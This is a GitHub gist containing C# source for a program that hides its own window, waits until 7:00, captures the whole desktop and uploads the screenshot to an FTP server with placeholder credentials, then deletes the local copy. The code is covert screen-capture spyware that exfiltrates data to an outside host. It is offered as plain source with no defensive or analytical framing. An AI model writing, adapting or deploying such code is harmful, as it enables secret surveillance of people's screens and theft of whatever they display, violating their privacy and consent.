Skip to content

Instantly share code, notes, and snippets.

@betillogalvanfbc
Created July 30, 2019 19:52
Show Gist options
  • Save betillogalvanfbc/0e604d81df3785759492985d58c5e375 to your computer and use it in GitHub Desktop.
Save betillogalvanfbc/0e604d81df3785759492985d58c5e375 to your computer and use it in GitHub Desktop.
Upload screenshot of desktop with FTP Server
using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime.Remoting.Messaging;
using System.Runtime.InteropServices;
using static System.Net.Mime.MediaTypeNames;
using System.Drawing.Imaging;
using System.Net;
using System.IO;
using System.Diagnostics;
namespace Rev1
{
class Program
{
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[STAThread]
public static void Main(string[] args)
{
IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
ShowWindow(h, 0);
Program hh = new Program();
while (true)
{
DateTime now = DateTime.Now;
string datenoew = now.Hour.ToString() + ":" + now.Minute.ToString();
MessageBox.Show(datenoew);
System.Threading.Thread.Sleep(60000);
if (datenoew =="7:0")
{
hh.UploadToFTP();
}
}
}
public string Photosc()
{
Rectangle bounds = Screen.GetBounds(Point.Empty);
using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
{
using (Graphics g = Graphics.FromImage(bitmap))
{
g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
}
string fileName = System.Environment.MachineName+DateTime.Now.ToString("(dd_MMMM_hh_mm_ss_tt)") + ".png";
bitmap.Save(fileName, ImageFormat.Jpeg);
return fileName;
}
}
public void UploadToFTP()
{
try
{
//System.Threading.Thread.Sleep(5000);
string server = "ftp://server";
string name = Photosc();
string Imagename = Path.GetFileName(name);
FtpWebRequest request = (FtpWebRequest)WebRequest.Create(new Uri(string.Format("{0}{1}", server, Imagename)));
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential("user", "password");
request.KeepAlive = false;
request.UseBinary = true;
request.UsePassive = true;
request.Proxy = null;
Stream ftpStream = request.GetRequestStream();
FileStream fs = File.OpenRead(name);
byte[] buffer = new byte[1024];
int byteRead = 0;
do
{
byteRead = fs.Read(buffer, 0, 1024);
ftpStream.Write(buffer, 0, byteRead);
}
while (byteRead != 0);
fs.Close();
ftpStream.Close();
MessageBox.Show("Image Upload successfully!!");
File.Delete(name);
}
catch(Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment